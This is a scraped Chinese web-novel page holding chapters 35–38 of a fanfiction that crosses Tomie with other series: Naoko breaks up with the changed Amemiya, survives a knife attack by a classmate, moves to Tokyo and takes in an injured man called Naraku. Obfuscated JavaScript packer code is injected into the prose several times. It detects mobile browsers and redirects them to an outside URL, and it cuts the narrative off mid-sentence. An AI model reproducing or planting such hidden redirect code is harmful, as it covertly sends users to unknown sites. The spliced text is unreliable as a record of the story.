这段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857221|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间因为雨宫反常的温柔，座位旁边总是围着一群叽叽喳喳的同学，吵得她几乎无法安心学习，才连夜给自己买了副耳塞。 她原本想主动提出和雨宫分座，不过听到这句话，他就像只被踩到尾巴的猫一样，露出一副狰狞的凶相：“想和我分开吗？除非我去死。” 因为懒得和他争辩这种没营养的事，她只好默默咽下了这口浊气。 最近开始反常地下起雨来。 早上走得太急，她没有带伞。 豆大的雨点噼里啪啦打在玻璃窗上，吵得人心烦。 手像是有自我意识一样，利索地划开了和雨宫君的通话界面。 盯着手机屏幕上的“雨宫君”几个字眼，她叹了口气。 原以为等一会儿雨就会停的，没想到一直等到天黑，越下越大了。 事实上已经很长时间她都没和雨宫一起上下学，毕竟他总是周旋于其他同学之间，奈绪子对他也有一种难言的怨念。 不过没等她做出决定，铃声就先响了起来。 刚接起，那头就传来雨宫暴怒的声音： “这么晚了还不回家，川濑奈绪子，你是想死吗？” “……下雨了，我没有带伞，想等雨停。”她说得咬牙切齿，因为这种事情不得不对他软声细语什么的，还是太讨厌了。 “没带伞不会给我打电话吗？”他骂完，又像想到什么，声音低了下来，“算了，你在哪里？原地站着，我很快就来了。” 他话音刚落，那边就传来一声刺耳的急喘，以及重物落地的闷响。 电话没挂断，一道阴恻恻的属于陌生男人的声音响起：“雨宫君，终于抓到你了。” “……雨宫君？你怎么了？”她敏锐地觉察到了不对，呼吸急促了两分。 他低声骂了一句什么，声音居然意外的镇静：“该死的。你在原地站着，别动，等着富江雨宫，不要跟别人走，知道吗。” 比意识更先到来的，是一阵几乎倾覆她的恐惧。 熟悉，又剧烈。 “雨宫君！”她下意识呼喊出声。 那头安静了有五六秒，才传过来一声欣慰的轻笑。 “笨蛋，没事的。奈绪子，以后要照顾好自己，知道吗。”紧接着，就是不耐烦的谩骂，“该死的「老鼠」，给我滚远点，知道吗？明明只差一点，就能成功了……” 然后就是一阵寂静的嘟嘟声。 心脏在胸腔里急促地跳动着，连呼吸也乱了频率。 雨宫君一定发生了什么意外。 来不及多想，也顾不上是不是还在下雨，她一咬牙，就抬腿冲进雨里，急匆匆地往家的方向跑。 雨宫君……会出事吗？ 从来没有觉得回家的路如此漫长。 脑袋一片混沌，似乎有什么被封印在记忆深处的东西，呼之欲出…… 天色早就暗下，雨声繁繁。 幽暗的小巷里，只能听见雨水滴落在水泥地的声响，角落里、夜色中，似乎有一双眼睛正窥伺着她。 奈绪子的脚步不自觉加快。 深巷的景色不断倒退，那抹来自路灯的橘色仿佛就在眼前，没等她松一口气，一柄闪烁着锐光的尖刀就止住了她的步伐。 “川濑奈绪子，抓到你了。” 一只苍白的手缓缓上移，抵在她的脸侧，刀身反光，映亮了铃木君藏在厚长刘海下的双眼。 “就是你这个贱人，三番两次坏我的好事。不是早就警告过你了吗？离雨宫君远一点。” 奈绪子僵硬的脖颈轻微地转动了一下，与他对上了视线。 他是真的想要杀了她。 她吓得腿肚子都在发抖，可现在当然不是惊慌害怕的时候，趁着铃木君还没动手，她转身撒腿就跑。 不过没跑两步，就被一只留着利甲的手拽住头发，猛地拖了回来。 36.第三十六章 她被拽得一个趔趄，狼狈地跪倒在地。 夜色里，奈绪子只能看清那把缓缓贴上她脖颈侧的尖刀。 铃木君低哑的谩骂响起：“不要脸的贱人，没有雨宫君的保护，你什么也算不上。少这样得意洋洋的，明白了吗？” 头发被拽脱了一把，她疼得只剩下喘气的劲儿。 不过铃木君沉浸在自己的世界里，也没有要她回答的意思，那把刀从她的脖颈往上滑动，经过她的脸颊、鼻峰，最后停留在她的眼皮上。 “我该要怎么杀掉你才好呢？先撕下你的脸皮，再剃光你的头发，怎么样？这双总是盯着雨宫君的双眼，也必须得挖下来才行。 今天雨宫君可不在场，没有人可以救你了，川濑。哈哈哈哈哈哈哈哈。” 奈绪子半垂下脑袋，盯着自己亮起的手机屏幕。 锁屏是雨宫富江的照片，是他以“情侣都是用对方照片当壁纸”为由，主动给她换上的。 不知道雨宫君那边怎么样了呢？ 不会也要死了吧？ 其实比起自己快要死掉，她更在乎雨宫君那边发生了什么，这来源于她内心深处的、对他隐隐的亏欠感。 也不知道是不是因为她的担忧太过强烈，在缓缓闭上眼睛之时，她居然真的听见了雨宫君的一声低骂。 下一秒，抵着她脖颈的尖刀一松，咔哒一声下落。 铃木君也像只破布袋子似的，被踹飞了出去，发出痛苦的落地的闷哼，动也不动。 看样子，像是晕了过去。 “川濑奈绪子。” 她连忙回过头。 雨宫正拿着根残破的棒球棍站在她身后，入暮稀薄的日光笼罩着他，勾勒出他被细雨淋湿的轮廓。 成缕的碎发耷拉在额侧，看不太清脸。 他微微偏头，垂下眼，看方向，似乎正盯着她的脸。 “为什么总要把自己害得这么狼狈？”他不耐烦地把手里的球棒丢开，棍棒落地，在水洼里滚了两圈。 得救了。 雨宫君也没事。 轻松和喜悦交织，让奈绪子一时间喘不过气。 前段时间积攒的对雨宫君的怨怼此刻也一扫而光，她忍不住拖着两条软得像面条的腿起身，朝他走近了几步。 不过隔着两米左右的距离时，就被他冷着脸挡在了原地：“靠这么近做什么？给我滚远点，离我两米远，知道吗？” 是比之前更陌生的雨宫君。 她连牙齿都在打着颤，费力看清楚他藏在黑暗里的神情：“可是……” “滚。”他的语气更冷。 “没听见的话，我就再重复一遍。你离我「雨宫富江」远点，明白了吗？” 这冰冷的语气，让奈绪子如坠冰窟，没等她把这句话消化完毕，他又尖酸刻薄道： “对了，还有分手。谈这种过家家式的恋爱，可真够浪费人生的。” “……为什么？” 他更不耐烦，半侧过身，避开她探究的视线：“哪里有那么多为什么？就凭我「雨宫富江」想分手了，这个理由不够吗？” 明明之前她提出这种事，他都会暴跳如雷地拒绝。 奈绪子实话实说：“可是我不想。我需要一个理由。” 他沉默良久，一动不动，就在她以为他根本不准备回答时，他冷哼了一声： “随便你怎么样。” 以前总会心软的雨宫，这次像块石头一样冷硬。 不等她再多问什么，他就主动道：“你先走吧，我暂时不想和你同行。” 真是冷酷的话语啊。 “……” 湿透的衣服，夜风一吹就冷得人发抖。 奈绪子环抱着自己，刚蹒跚着走了两步，他像掺了冰碴子的声音又传来： “伞。还有，那边的棒球棍，你拿着防身。” 话落，他不知道从哪里掏出一把印着熊图案的伞，隔着老远，往她面前递了递。 她机械地接过，又慢吞吞地捡起地上的棒球棍，但雨宫始终没有挽回她。 雨还在不胜其烦地下着，就像两人糟糕的心情。 但伞只有一把，奈绪子站在巷子口，回头问： “雨宫君，那你没有伞……” “说了，让你少管我。” 她身心俱疲，拖着两条酸软的腿往外走，一步三回头。 雨宫则始终站在阴影里，一动不动。 直到那抹单薄的身影消失在巷口，他才才从黑暗里走出来。 月光打在他惨白的脸上，参差不齐碎肉间，还有不规则的肉芽剧烈地蠕动着，怪异，又瘆人。 他轻叹了口气。 种花家有句老话，叫作“螳螂捕蝉，黄雀在后。”意思是在狩猎时，也要小心自己成为别人的猎物。 现在雨宫正处于这样一种微妙的状态。 没等他想出来第二天该如何得到奈绪子的原谅，身后就突然袭来一道黑影，他整个人缓缓地倒了下去。 鲜血飞溅，淌了一地。 奈绪子站在路灯下，百无聊赖地踢着脚边的石子。 橘黄色的灯光透过伞面打在她眼皮上，有些晃眼。 她其实没走得太远，现在下着雨，雨宫君没有伞，她总不能就这么一走了之…… 不过一直等到雨停，他也没跟上来。 回家的路并不只这一条。 算了，看来他的确不想跟她再扯上关系，以至于宁愿抄远路也要避开她。 不过一直到奈绪子洗完澡，雨宫家还是黑漆漆的，他并没有回家。 不管怎么样，猫还是要喂的，她说服自己。 奈绪子拎着一盆猫粮和净水摸进小花园，瞥见她的身影，黑猫就喵喵叫着从窗口跳了出来，眷恋地蹭着她的裤脚。 她蹲下身，在它下巴上挠了挠：“很饿了吧？” 比起那盆猫粮，黑猫大概更喜欢她，绕着她转圈转个不停。 正撸猫撸得起劲的时候，身后传来了一道冷淡的嗓音：“你怎么在这里。” 她回过头，与满面寒霜的雨宫对上了视线。 冷酷地越过奈绪子，他熟练地开门往里走，装作一副完全没看见她的样子。 “雨宫君。” 听见她的呼喊，这家伙理也没理。 不过他转身准备关门的时候，冰冷的视线落到她脸上，似乎有些不耐烦：“有事吗？” “……” 她点点头，又摇摇头。 “蠢货。没事少来烦我。” 简短无情的话语落下，没等奈绪子反应，黑猫就先一窜而起，冲着雨宫淋湿的脚腕就是狠狠的一口。 但他眼也没眨一下，只沉着脸随意把它踢开，瞪着它扬声骂： “现在是我在养你，知道吗你这畜生？没了我，你什么也不是。所以，少胳膊肘往外拐。” 听起来指桑骂槐的。 应该是在借着骂猫咪的功夫骂她。 但想到刚才的事，奈绪子懒得跟他计较：“雨宫君，刚才的事情，谢谢你。你没有受伤吧？” 按理来说，她应该报警才对。 但不知道为什么，心里总有一道声音告诉她，报警的话，这一切的事情会变得更加麻烦。 他眨了下眼。 “没有，你没事就好。”这句话说完，他刚才装出来的温柔脸色一变，语气跟着变得讥讽，“你想听的是这种答案吗？可惜了，我没有受伤，也不想看见你。滚吧，离我有多远就多远，「川濑奈绪子」。” “……” 砰的一声巨响，她被关在了门后。 事情就是从这天起，变得难以挽回的。 比起以前轻微的改变，雨宫君这次变得很彻底。 背着背包走进教室的时候，雨宫正坐在座椅上，右臂若有似无地搂着一位同班少女。 不知道聊到了什么很有趣的事，少女笑得花枝乱颤，罕见的是，雨宫也没有像以前一样突然变脸，然后毫不顾虑地把人推开。 说不上是难过还是什么，奈绪子的心上像压了一块石头，闷闷的坠着疼。 她默默地上前一步，小声：“雨宫君，你能不能……” “哈，川濑，你不觉得自己管得太多了吗？”看见她的脸，雨宫刚才还算温和的脸陡然变色，他无力地打断了她的话。 旁边的少女也跟着帮腔：“川濑，你总不能总是独占雨宫君吧？” 这是在脑补什么？ 她只好重复道：“雨宫君，你能不能到你自己的位置去？这是我的座位。” 看看她那张古井无波的脸，又看看桌角那只属于她的粉色水杯，雨宫的脸色变得铁青，像吞了苍蝇一样难看。 比起被她挑衅，他应该更难以接受被她忽略。 半晌，他冷嗤一声：“走就走。” 他转身离开，身后跟了一群乌泱泱的男男女女。 一年前他们明明还是彼此的灵魂好友，转眼就成了这副势同水火的状态，这个破恋爱果然不应该谈啊。 按理来说，奈绪子应该很难过的。 但不知道为什么，对上他那双全然陌生的眼睛，她有一种隐隐的预感： 眼前这个雨宫君，根本就不是以前那个雨宫君了。 奈绪子试图和他交流，但无一例外都会被冷酷地拒绝。 不会有任何一个人愿意顶着这一片青青草原的，她也不能。 但这家伙像躲瘟神一样躲着他，像是生怕从她嘴里听见什么不爱听的话。 然而青梅竹马的好处在于，无论如何吵架，奈绪子也能够轻易将他堵在家门口。 见她拿着猫罐头走近，坐在沙发上的雨宫斜过来一眼，又淡淡地收回视线，望向手里的书。 做作，他平时明明连课本都不会多看。 “把罐头拿远点，别让它靠近我。” 黑猫围着她转了两圈，欢快地舔舐着她的手背，不知道馋的究竟是她手里的罐头，还是她的味道。 “雨宫君，我觉得你至少得和其他人保持一点距离。” 闻言，雨宫脸上的神情变得很诡异，半张脸抽动着，另外半张脸则保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858092|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持着某种不爽的表情。 “你以为我想要这样吗？还不都是为了……”说到这里，他话音一顿，突然换了一副讨人厌的嘴脸，“……川濑，你不觉得自己很自私吗？” “……？” 雨宫最擅长的事情，就是得理不饶人，无理纠缠人，现在很不幸正处于后者这种糟糕的状态。 他合上书，一双幽深的黑瞳紧盯着她：“你这也是在杜绝我的人际交往，不是吗？” “这根本就不是什么正常的人际交往吧？假如你一定要这么做，”她无语至极，“那么，我们就分手吧。” 她不明白雨宫富江在做些什么，既想要推开她，又无法彻底远离她。 果然，听见这句话，他就像被踩到尾巴一样，愤怒地来回走动。 “不可能。” “不可能。”他义正辞严地重复，不知道是在说服奈绪子，还是说服他自己，“这只是正常交往而已，连接吻都没有过。再说了，” 他似乎想到了更好的借口：“川濑，你不觉得自己的性格真的很无趣吗？” 这种话居然是从雨宫富江嘴里说出来的，这家伙的无耻果然没有限度。 他缩成着米粒大的瞳孔睨着她，声音放轻： “还很碍事呢。不如，吃了算了。” “是吗？既然觉得我无趣，就拜托你分手吧。这样的话，我也会感觉很累。”奈绪子正在考虑要不要往他脸上挥一拳。 听见“分手”两个字眼，他突然像条件反射似的激动起来。 “你想都不要想。”他喃喃，‘川濑，你想都不要想。’ 要不还是给他两巴掌得了，奈绪子实在是忍无可忍，他受不了这个若即若离、忽冷忽热的混蛋。 “分手好像不需要征求你的意见吧，神经病。”说完，她还朝他比了个辱骂的手势，转身就走。 走了没两步，身后传来砸东西的声响，和他破防的声音：“我说过了，川濑奈绪子，我不同意。我是不会允许你就这么跑开的！” 这件事把雨宫气得不轻，他变得张扬而讨厌，不再是以前温柔的样子，还开始在女同学间周旋，并扬言： “这才是「雨宫富江」本应该过的生活。” 雨宫成了某种意义上的“共享男友”。 他过上了忙忙碌碌的东奔西走的生活，今天和这位女同学吃饭，明天和那位女同学约会，除了接吻以外的事情应该都做了…… 奈绪子对此无限鄙夷。 但得益于此，同学们对她的敌意少了许多，她终于过上了正常的学园生活。 不过有意无意的，雨宫总会突然出现在她面前，在她做题的时候，吃便当的时候，甚至从洗手间里出来的时候…… 她忍无可忍的时候，会讽刺他几句，他气得脸颊上的肌肉都在抖。 “我是在观察你。看你什么时候后悔。”他冷哼道。 这是他脑子又出问题了。 因为高三结束在即，奈绪子只顾得上埋头学习，因此和班级里的学霸班长对了几次答案。 有一回交换试卷的时候，正好被雨宫撞上。 他突然就像炸弹一样爆发，指责谩骂那位班长，甚至用上了许多以前他根本不会使用的刻薄恶毒的词汇，直接把她吓得呆在原地。 等学霸崩溃地捂着脸逃开，他才勾起一抹属于胜利者的微笑：“下贱的货色，简直不知廉耻。” “雨宫富江，你能不能离开我的生活？”奈绪子终于忍够了，“你玩够了吗？” 他的笑容僵在唇角，缓慢下落，成了一个嘲讽的弧度：“是吗。”过了一会儿，他又像是突然想起什么，“我这是以朋友的名义，帮你驱逐一些烦人的苍蝇。” 她冷冷道：“连朋友也不是了，雨宫富江，请滚出我的生活。” 雨宫彻底僵住：“就因为这件事吗？这才多久，你就对他另眼相看了？” 只是因为这件事当然不至于，奈绪子只是不喜欢他自作主张闯入她的生活，又冷漠地离开。 她毕竟是个被雨宫富江养出来的自私的人啊。 她一点都不介意他掌控自己的生活，只要他可以付出相等重量的爱。 可以说这么多年来，如果没有她的放任，雨宫的欲望也不会扩张得这么大。 她不讨厌被掌控的生活。 但现在是雨宫富江主动退出了这个游戏。 她很「愤怒」，所以决定放弃他。 “游戏结束了，滚吧，雨宫富江。” 他还在身后不胜其烦地嚷嚷：“我这可都是为了你！川濑，你不能这么对我！奈绪子！……” 为了挽回这段岌岌可危的恋爱（？），他不惜半夜爬到她房间里装鬼吓她，还伙同川濑美里说服她，将她烦得心力交瘁。 奈绪子无法忍受这样的雨宫富江，所以她瞒着他报考了东京的大学，并在暑假的某一天，将他删除拉黑一条龙。 雨宫现在应该在京都的某所大学里吧？为了防止串通，改志愿的事情她连妈妈也没告知。 她终于踏上了前往东京的电车。 37.第三十七章 东京是个非常大的城市，不管是什么地方，都挤满了人头，周遭熙熙攘攘，人们行色匆匆。 好在，这座城市没有什么叫做「雨宫富江」的美貌的人。 虽然已经把人拉黑，但奈绪子还是经常收到来源不明的威胁短信，从威逼利诱，到软语哀求，一看就知道是谁的手笔。 她默默点下了拒绝陌生人短信的按键。 可惜的是，东京虽然大，但相当不安定，经常会发生一些诸如电车停运、学校被炸的糟糕事，时不时还会有名为「东京复仇者」的杀马特中二病四处活动。 来到东京的第一天，她就遭遇了严重的电车爆炸。 现在想起来，还是有些吓人。 明明进站前还行驶正常的电车，在进站后车头忽然变形，远远看上去像是被什么巨大的东西给压扁了。 隐约还能听见有人大喊“怪物”“诅咒”“鬼”之类的话，她被人流挤着往前走，只来得及回头看上一眼。 大概是误入了某个英雄片片场吧？ 只见有个留白毛戴眼罩的帅气中二病在电车顶上乱窜，嘴里还喊着什么“领域展开”。 这是奈绪子对东京的第一印象： 中二病也太多了。 不过长得确实是帅的，她准备关注一下这部片子。 没有雨宫富江的打扰，奈绪子发展了正常的人际关系，渐渐的，这家伙就被她抛之脑后。 她发现，没有雨宫的存在，她的人缘还是相当好的嘛。 来到这里一个月，她就变得开朗了很多。 因为要打零工的关系，她搬进了一个破旧的社区里，虽然狭小，只有可怜的一居一室，不过经过奈绪子的收拾改造，已经变成了一个小而温馨的家。 因为太孤单，她还在阳台上养了两棵可爱的多肉，平时没事的时候，她会找它们说说话。 对面住着浅野一家，妻子富美和浅野先生都是温柔的人，对她颇为关照。 她的生活安定下来，但是一个月之后，平静的生活就被一个受伤的阴森男人打破了。 奈绪子所在的街区偏僻而荒凉，一半都是拆迁的危楼，周遭甚至没有什么像样的超市，她不得不在学校附近买菜，再坐很长时间的公交回家。 这天她早早放学，从湖边绕道往家的方向走。 天朗气清，晚霞漫天，这原本是个美好的黄昏，不幸的是，她被突然从草丛里伸出来的苍白的手臂吓了一跳。 还没来得及惊叫一声，她就被紧紧地抓住了脚踝。 茂密的草丛深处，此刻正躺着一个穿着藏青色和服的长发男人，脖子上还挂着半枚破碎的宝珠。 他奄奄一息地仰躺在地，腿部呈现一种唬人的扭曲姿态，看上去像断了。 也不知道是不是亡命徒，她可是很爱惜生命的。 她蹲下身，准备把这只九阴白骨爪掰开。 在东京这个混乱的地方救一个陌生人，说不准会惹火上身。 但他显然不想放过奈绪子，干脆地张开嘴，恶狠狠地咬住她的小腿，一副誓不罢休的姿态。 疼死了。 她眼睁睁看着自己的小腿被咬得鲜血淋漓。 那只长发披散的脑袋微微侧开，发丝散落，露出亡命徒苍白俊秀的脸，那双冷酷的赤红色的眼睛，还一瞬不瞬地紧盯着她。 像某种活跃在暗夜里的野兽。 也不知道有没有狂犬病。 早知道就不绕路了，她暗暗后悔。 但事到如今，捶胸顿足已经没有用了，重要的是让他松嘴。 她竭力放轻语气：“你先松嘴，我保证我会救你，可、可以吗？” 奈绪子甚至能感知到尖牙在肉里摩擦带来的轻微刺痛感。 亡命徒纹丝不动。 “我保证……我就住在这附近，你先把我松开……” 还是没有反应。 奈绪子疼得再也无法忍耐，她从购物袋里掏出一根胡萝卜，警告道：“如果再不放开我的话，我就要用它砸你的头了。” 大概是威胁起了作用，亡命徒殷红的双眼忽闪了一下，嘴跟着缓缓松开。 她的腿被咬得血流不止，牙印中央肿起一大块，疼得她直抽气。 那个属狗的男人用手拽住她的购物袋，说了两人见面以来的第一句话：“救我。” 奈绪子终于看清楚了他的脸。 虽然满脸血污，但并不影响那张脸的美貌，给她的感觉，就像是被践踏过的樱花，又或者是沦为牛郎的贵族大少爷…… 居然和雨宫君相比，也没逊色多少呢。 尤其是浑身阴森森的气质，她很喜欢。 她平静不少，小心翼翼地开口问：“需要我帮你喊救护车吗？” 虽然他多半会拒绝，但奈绪子无法就这么安心地将一个疑似亡命徒的男人带回家。 “不需要。” 这句话落下，两人面面相觑，男人狭小的瞳仁盯着她，誓有她不点头就绝不放过她的架势。 迫于压力，她从牙缝里挤出来几个勉强的字眼：“那我……暂时把你带回我家……吧。” 社区里住的是爷爷奶奶辈居多，因为奈绪子长相乖巧，又常帮着搬东西，大家都喜欢她，碰面时也会打招呼。 如果堂而皇之地带着一个陌生男人招摇过市，一定会社死的。 然而他坚决地拒绝了她找人帮忙的提议，奈绪子只好偷偷摸摸地借来一辆破败的板车。 这不知道是多少年前的东西，平时的用途又是什么，总之车身腐朽，上边还沾着一些诸如菜叶、塑料袋膜之类的东西。 亡命徒的眼神彻底变了：“低贱的凡人……你就是用这种东西糊弄我的吗？” “上车，或者死在这里，你自己选。” 刚才趁着找车的功夫，奈绪子把小腿上的伤口简单处理了一下，但现在还是疼得钻心。 如果这始作俑者还要得寸进尺的话，还不如一起死在这里呢。 她受不了这种委屈。 他咬紧牙关，视线斜斜望向她，似乎在思忖怎么将她拆吞入腹。 最后，见奈绪子彻底破罐子破摔，他才缓缓撑起上肢，狼狈地往板车上爬。 奈绪子思考着将他踹下去，然后成功脱身的可能性。但是她那该死的善心蠢蠢欲动，她主动搭了一把手，亡命徒借着她的力道挺身坐到板车上，曲起那条畸形的腿。 没看错的话，关节处的骨头甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原以为他要这一盆水只是擦擦身体之类的，但这显然低估了他。 亡命徒浸湿了那块毛巾，随意地清洁了一番伤处，擦去鲜血和尘土，露出了下边那条伤痕斑驳的浮肿的右腿。 他把湿毛巾咬在嘴里，眼眸转动，落到旁边不明所以的奈绪子身上，脸上浮现一抹嘲讽似的笑。 下一秒，他右腿抻直，然后使劲用手将突出的那块骨头生硬地掰回原处。 咔嚓，咔嚓，令人牙酸的声音在屋里蔓延，奈绪子下意识咬住手指，后退了一步。 这是个不怕死的疯子，她深刻认识到了这一点。 “把医药箱拿过来。” 黑暗中传来这样一句冰冷的话，她侧眼望去，亡命徒那双红色的眼睛正在煜煜闪光。 “哦、哦。”她现在彻底不敢得罪他，连忙上前两步，主动把箱子打开，“这是酒精棉，这是碘伏，哦，还有纱布。” 他好一会儿没动作。 奈绪子抬起眼，对上了他冷得像冰的视线，他沉默良久，丢出来一句：“你帮我上药。” 38.第三十八章 “很害怕吧？告诉你也无妨，我只是个从野外来的山贼，到东京这座城市，也是靠着打劫盗窃为生。 “连一个居民身份也没有，这就是我无法去医院的理由。” 他悠然自得地蚕食着眼前这位少女的恐惧，似乎说这么长的一段话，只是为了吓她一大跳。 但这种近似威胁的话听进她耳朵里，简直毫无可信度。 在这个人手一部手机的时代，他居然自称是一名“山贼”，还没有“居民身份”。 比起相信他这番莫名其妙的自述，奈绪子更愿意相信他是个心狠手辣的中二病。 毕竟，东京这座城市，中二病很多嘛。 不过为了面子能强忍疼痛，甚至哼也不哼一声，哪怕在嘴硬的中二病里也是佼佼者。 奈绪子不自觉地放轻了给他上药的动作。 错综斑驳的伤痕蜿蜒覆盖在他白皙的腿部，除此以外，他的脸侧、手臂，甚至背脊都有程度不同的擦伤。 看上去像是经历了一场爆炸，或者是地震。 他睨着他的脸，指了指手臂上的那道伤痕：“这里，再上点药。” “知道了，既然救了你，我就会负责的。” 虽然总想着不要随便在路边捡男人，但事实上她暂时还做不到见死不救，哪怕只是小猫她也不忍心，更何况是个活生生的人。 刚才她就算真的咬牙离开，多半很快也会灰溜溜地回头救人。 得到了良好的救治，亡命徒先生的脸色好看很多，也变得有底气了：“没有人要求你救我。” 呵呵。 这种鬼话也能说得出来。 奈绪子可忘不了他当时威逼利诱的眼神，和恶狠狠咬住她小腿的力道。 她阴阳怪气应道：“是啊，都是我在多管闲事。”她试图套话，“不过，你到底是怎么受的伤，还这么重？” 男人盯着自己受伤的腿，回想起这件事，显得异常恼怒：“等我痊愈，一定会让那只该死的蝼蚁付出应有的代价。” 据他所言，他在拉面店时意外见到一个有趣的玩具，准备带走时，不知道从哪里冒出来一个绿衣服的蠢货。 争夺间，他们将拉面店捣毁，虽然他及时自救，但还是在房屋倒塌时不慎被砸伤了腿，那个玩具也不知所踪。 不过根据奈绪子个人的解读，真相大概是这样的： 他看上绿衣服男人手里的玩具，与之争抢，遭到了阻止。 两人战斗间毁掉了拉面店（不过打一架真的有这么大的威力吗？她表示存疑），他试图自救（也许还干出拉人垫背的糟糕事），幸运地在房屋倒塌中存活，但绿衣服男人早已带着玩具离开。 她无语地扯了扯嘴角：“总之，你先把伤养好，这段时间先别离开这间房子。” 社区里的爷爷奶奶都知道她是个独居女性，妙龄女大学生，她无法解释为什么家里突然出现一个成年男子的事。 况且不排除一些八卦的人会将此添油加醋，四处乱传，她承担不了社死的风险。 他冷嗤一声，似笑非笑道：“没有人会愿意一直住在这种破烂的房子里。” 住着她的房子，躺着她的床，甚至还享受着她的帮助，这家伙居然还多有不满，奈绪子肺都快要气炸了。 “‘破烂的房子’？你说这是‘破烂的房子’？”她按在他伤口上的棉签故意微微用力，疼得他下意识抽了口气。 他赤色的瞳孔缓慢转了一圈，定在她脸上，左边眼下不知道什么时候多了一颗若隐若现的泪痣，此刻正随着他眨眼的动作微微晃动。 这种毫不遮掩的视线，冷漠得如同毒蛇锁定猎物，奈绪子竟感觉脊背发凉，像覆盖着一层薄薄的寒霜，动也不敢动。 她被盯得心里直发毛，脸色也白了几分，窝窝囊囊地道歉：“抱歉，我不是故意的，你千万不要杀我。” 虽然理智上知道“山贼”之类的说辞都是假话，但对上他的眼睛，奈绪子还是有些发怵。 这可能是因为，他的瞳孔比正常人要小一些，和这双眼睛对视，会给人一种恐惧与臣服的错觉。 闻言，他落在她脸上的视线渐渐冷冻、收敛，那颗浮动的泪痣不知道什么时候消失在眼尾，像是从没有出现过。 “在东京租一个这样的房子已经很不容易了，我把我唯一的床铺让给你，所以甚至只能睡沙发。”奈绪子懊恼地补充，她竭力试图让他明白他是在吃她软饭的事实，希望他可以稍微客气点。 但他显然对此不以为意。 帮他上完药，她才有功夫在沙发上找了个位置，处理自己小腿部的伤口。 这枚牙印越看越刺眼，她一定要找个机会报复回来。 就算长得再俊美，也无法掩饰他是一条爱咬人的疯狗的事实。 即便背对着他，奈绪子也能感觉到身后如芒的视线。 这家伙看起来准备赖在这里不走了，她真不该趟这趟浑水。 “川濑奈绪子。”浅淡的呼喊随风传过来。 “你怎么知道……”她回过身，就看见他正用两根手指捏着她的学生证随意把玩着。 还没来得及痛斥他的无礼，就听他随口道：“好难听的名字。” 好没礼貌的家伙，伤得这么重一定是因为嘴贱被人寻仇了吧？ 她深吸了两口气，才把涌到喉口的怒火咽回去。 “是吗？那该怎么称呼你呢？一定是很了不起、很特别的名字吧？” “对于蝼蚁而言，你没有知道的必要。” 差点忘了，这是个资深中二病。 “拜托请告诉我吧，阁下，就当是在可怜我这个凡人了。”她皮笑肉不笑，做了个双手合十的姿势。 他倚靠在床头，勾唇一笑：“告诉你也无妨……奈落。我的名字是－－奈落。” 「奈落」，是「地狱」的意思。 看来真的病得不深啊，对东京的刻板印象又增加了。 不过，为什么不叫「奈落大郎」之类的呢。 据奈落所言，他是个山贼，但身上穿着的和服很是华丽，用的布料也是上好的。 奈绪子猜测他是个中二病晚期的贵公子哥，如果是在乙女游戏里，他大概是因为叛逃家族而遭遇追杀。 总之，中二病总比亡命徒要好，她提起的心脏放下不少。 因为家里有个伤员，善心作祟，她去市场买了些有营养的食物。 这年头一点普通的菜就贵得令人发指，她在回家的路上，她还在一边看着付款单，一边暗暗肉疼。 她忍不住抱怨：“奈落，等你痊愈，一定会给我钱的吧？” 因为和多金大方的竹马闹掰，她现在手头很紧。 听见这个字眼，他暗嗤：“钱？世俗之物。你们凡人，只有这种眼界。” 不要脸的软饭男，没有这种世俗之物他连饭也吃不上。 只有这种眼睛长在头顶的贵公子哥，才会搞不为五斗米折腰那一套。 呵呵。 “请喝西北风去吧。” 她突然有一种把他踢出大门的冲动。 虽然重伤在腿，但看起来奈落的手臂也伤得不轻，尝试了几次，也没能举起筷子。 两人面面相觑，他瞳孔微动，一副对奈绪子的迟钝表示无语的表情：“喂我。” 凭什么？ ……不对，以这个角度，应该能把筷子戳进他的鼻孔吧。 “……知道了。”然而对上他凌厉的眼睛，她却不自觉地矮了一截，恶狠狠地夹起一块猪蹄，往前递了递。 虽然是很暧昧的场景，但却半点旖旎的氛围都没有。 他低下头，把那块肉吞下，评价道：“真是浪费食材……煮的什么。” 这是说她煮得难吃的意思吧？ 虽然厨艺有限，完全比不上妈妈或者雨宫君，但她自认还是能下咽的，怎么就浪费食材了？ “猪蹄，”她皮笑肉不笑，用下巴虚空点点他的腿，意有所指，“以形补形。” 他也跟着笑了一声，而后迅速收敛了脸上的表情，那张阴森森的脸沉下来，好像连周围的空气都冷了几分。 她不由得打了个寒颤。 好像周遭变冷了……是错觉吗？ “太烫了。” 说这话的时候，他的视线绕着奈绪子纤弱的脖颈打转，不知道在想些什么，而后落在自己瘫痪的腿上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 